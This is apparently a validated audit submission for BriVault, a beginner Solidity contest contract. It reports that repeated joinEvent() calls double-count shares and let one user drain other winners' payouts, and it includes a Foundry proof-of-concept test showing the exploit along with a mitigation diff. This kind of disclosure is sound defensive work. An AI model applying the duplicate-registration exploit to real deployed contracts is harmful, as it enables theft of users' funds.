BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Duplicate user entries enable fund theft

Root + Impact

Description

Users can call joinEvent() multiple times for the same or different teams, causing their shares to be counted multiple times in totalWinnerShares. This inflates the denominator in withdrawal calculations, reducing payouts for all other winners.

function joinEvent(uint256 countryId) public {
...
// @> Can be pushed multiple times
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
}

Risk

Likelihood: High

  • Exploitability: Trivial

Impact: High

  • Direct theft of funds from legitimate winners

  • Complete breakdown of fair payout distribution

  • Attacker can amplify their payout arbitrarily

Proof of Concept

Attack Scenario:

  1. Alice deposits 10 ETH and calls joinEvent(10) twice

  2. Bob deposits 10 ETH and calls joinEvent(10) once

  3. Team 10 wins

  4. _getWinnerShares() counts Alice's shares TWICE (once per duplicate entry)

  5. totalWinnerShares becomes 30 ETH equivalent (should be 20 ETH)

  6. Bob receives 33.3% instead of 50% of the prize pool

  7. Alice can withdraw and take 66.6% of the pool

function test_DuplicateUserEntries_FundLoss() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
// User1 deposits and joins team 10
vm.startPrank(user1);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user1);
briVault.joinEvent(10);
// EXPLOIT: User1 calls joinEvent AGAIN for the same team
// This adds them to usersAddress[] a second time
briVault.joinEvent(10);
vm.stopPrank();
// User2 deposits and joins team 10 (legitimately, once)
vm.startPrank(user2);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user2);
briVault.joinEvent(10);
uint256 user2BalanceBefore = mockToken.balanceOf(user2);
vm.stopPrank();
// Set winner to team 10
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
// User1's shares are now counted TWICE in totalWinnerShares
// This inflates the denominator, reducing payouts for everyone
console.log(
"Total Winner Shares (inflated):",
briVault.totalWinnerShares()
);
console.log("User1 actual shares:", briVault.balanceOf(user1));
console.log("User2 actual shares:", briVault.balanceOf(user2));
// User2 withdraws and receives LESS than they should
vm.startPrank(user2);
briVault.withdraw();
uint256 user2BalanceAfter = mockToken.balanceOf(user2);
uint256 user2Payout = user2BalanceAfter - user2BalanceBefore;
vm.stopPrank();
// Expected: User2 should get ~50% of the pool (9.85 ether each deposited)
// Actual: User2 gets ~33% because user1's shares counted twice
uint256 totalVaultAssets = briVault.finalizedVaultAsset();
uint256 expectedPayout = totalVaultAssets / 2; // Should be 50%
console.log("Expected payout (50%):", expectedPayout);
console.log("Actual payout:", user2Payout);
console.log("User2 lost:", expectedPayout - user2Payout);
// User2 receives significantly less than 50% of the pool
assertLt(
user2Payout,
expectedPayout,
"User2 received less than deserved due to duplicate entries"
);
}

Recommended Mitigation

Track if the user already has joint an event and revert

+ mapping(address => bool) public hasJoinedEvent;
function joinEvent(uint256 countryId) public {
+ if (hasJoinedEvent[msg.sender]) {
+ revert AlreadyJoinedEvent();
+ }
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ hasJoinedEvent[msg.sender] = true;
// ... rest of function
}
Updates

Appeal created

bube Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!